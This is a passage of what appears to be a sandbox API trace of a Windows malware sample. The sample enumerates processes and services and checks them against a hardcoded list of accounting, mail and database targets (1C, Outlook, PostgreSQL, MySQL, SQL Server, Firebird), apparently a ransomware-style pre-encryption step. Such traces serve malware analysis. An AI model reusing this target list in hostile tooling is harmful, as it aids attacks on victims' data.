pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0140.777] lstrlenW (lpString="lsm.exe") returned 7 [0140.777] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0140.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0140.777] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0140.777] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0140.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0140.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0140.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0140.777] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.778] lstrlenW (lpString="svchost.exe") returned 11 [0140.778] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0140.778] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.778] lstrlenW (lpString="svchost.exe") returned 11 [0140.778] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0140.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0140.779] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0140.779] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0140.779] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.779] lstrlenW (lpString="svchost.exe") returned 11 [0140.779] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.780] lstrlenW (lpString="svchost.exe") returned 11 [0140.780] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.780] lstrlenW (lpString="svchost.exe") returned 11 [0140.780] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.780] lstrlenW (lpString="audiodg.exe") returned 11 [0140.780] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.781] lstrlenW (lpString="svchost.exe") returned 11 [0140.781] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.781] lstrlenW (lpString="svchost.exe") returned 11 [0140.781] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.782] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.782] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0140.782] lstrlenW (lpString="taskhost.exe") returned 12 [0140.782] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.783] lstrlenW (lpString="svchost.exe") returned 11 [0140.783] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0140.783] lstrlenW (lpString="userinit.exe") returned 12 [0140.783] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.783] lstrlenW (lpString="dwm.exe") returned 7 [0140.783] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.784] lstrlenW (lpString="explorer.exe") returned 12 [0140.784] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0140.784] lstrlenW (lpString="3G6885.exe") returned 10 [0140.784] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0140.784] lstrlenW (lpString="reader_sl.exe") returned 13 [0140.784] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0140.785] lstrlenW (lpString="dllhost.exe") returned 11 [0140.785] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0140.785] CloseHandle (hObject=0x360) returned 1 [0140.785] Sleep (dwMilliseconds=0x1f4) [0141.403] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8a90 [0141.405] EnumServicesStatusExW (in: hSCManager=0x41d8a90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0141.405] GetLastError () returned 0xea [0141.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe90) returned 0x41d77b8 [0141.405] EnumServicesStatusExW (in: hSCManager=0x41d8a90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xe90, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0141.406] CloseServiceHandle (hSCObject=0x41d8a90) returned 1 [0141.406] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0141.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0141.406] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0141.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0141.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0141.406] lstrlenW (lpString="AudioSrv") returned 8 [0141.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0141.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0141.406] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0141.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0141.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0141.406] lstrlenW (lpString="BFE") returned 3 [0141.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0141.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0141.406] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0141.406] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0141.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0141.406] lstrlenW (lpString="CryptSvc") returned 8 [0141.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0141.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0141.407] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0141.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0141.407] lstrlenW (lpString="CscService") returned 10 [0141.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0141.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0141.407] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0141.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0141.407] lstrlenW (lpString="DcomLaunch") returned 10 [0141.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0141.407] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0141.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0141.407] lstrlenW (lpString="Dhcp") returned 4 [0141.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0141.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0141.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0141.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0141.407] lstrlenW (lpString="Dnscache") returned 8 [0141.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0141.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0141.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0141.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0141.407] lstrlenW (lpString="DPS") returned 3 [0141.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0141.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0141.407] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0141.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0141.408] lstrlenW (lpString="eventlog") returned 8 [0141.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0141.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0141.408] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0141.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0141.408] lstrlenW (lpString="EventSystem") returned 11 [0141.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0141.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0141.408] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0141.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0141.408] lstrlenW (lpString="gpsvc") returned 5 [0141.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0141.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0141.408] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0141.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0141.408] lstrlenW (lpString="iphlpsvc") returned 8 [0141.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0141.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0141.408] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0141.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0141.408] lstrlenW (lpString="LanmanServer") returned 12 [0141.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0141.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0141.408] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0141.408] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0141.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0141.409] lstrlenW (lpString="LanmanWorkstation") returned 17 [0141.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0141.409] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0141.409] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0141.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0141.409] lstrlenW (lpString="lmhosts") returned 7 [0141.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0141.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0141.409] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0141.409] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0141.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0141.409] lstrlenW (lpString="MMCSS") returned 5 [0141.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0141.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0141.409] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0141.409] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0141.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0141.409] lstrlenW (lpString="MpsSvc") returned 6 [0141.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0141.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0141.409] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0141.409] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0141.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0141.409] lstrlenW (lpString="NlaSvc") returned 6 [0141.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0141.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0141.409] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0141.409] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0141.410] lstrlenW (lpString="nsi") returned 3 [0141.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0141.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0141.410] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0141.410] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0141.410] lstrlenW (lpString="PcaSvc") returned 6 [0141.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0141.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0141.410] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0141.410] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0141.410] lstrlenW (lpString="PlugPlay") returned 8 [0141.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0141.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0141.410] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0141.410] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0141.410] lstrlenW (lpString="Power") returned 5 [0141.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0141.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0141.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0141.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0141.410] lstrlenW (lpString="ProfSvc") returned 7 [0141.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0141.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0141.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0141.410] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0141.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0141.411] lstrlenW (lpString="RpcEptMapper") returned 12 [0141.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0141.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0141.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0141.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0141.411] lstrlenW (lpString="RpcSs") returned 5 [0141.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0141.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0141.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0141.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0141.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0141.411] lstrlenW (lpString="SamSs") returned 5 [0141.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0141.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0141.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0141.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0141.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0141.411] lstrlenW (lpString="Schedule") returned 8 [0141.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0141.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0141.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0141.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0141.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0141.411] lstrlenW (lpString="SENS") returned 4 [0141.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0141.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0141.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0141.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0141.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0141.412] lstrlenW (lpString="ShellHWDetection") returned 16 [0141.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0141.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0141.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0141.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0141.412] lstrlenW (lpString="Spooler") returned 7 [0141.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0141.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0141.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0141.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0141.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0141.412] lstrlenW (lpString="SysMain") returned 7 [0141.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0141.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0141.412] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0141.412] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0141.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0141.412] lstrlenW (lpString="Themes") returned 6 [0141.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0141.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0141.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0141.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0141.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0141.412] lstrlenW (lpString="TrkWks") returned 6 [0141.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0141.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0141.412] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0141.412] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0141.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0141.412] lstrlenW (lpString="UxSms") returned 5 [0141.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0141.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0141.413] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0141.413] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0141.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0141.413] lstrlenW (lpString="Winmgmt") returned 7 [0141.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0141.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0141.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0141.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0141.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0141.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0141.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0141.415] Process32FirstW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: 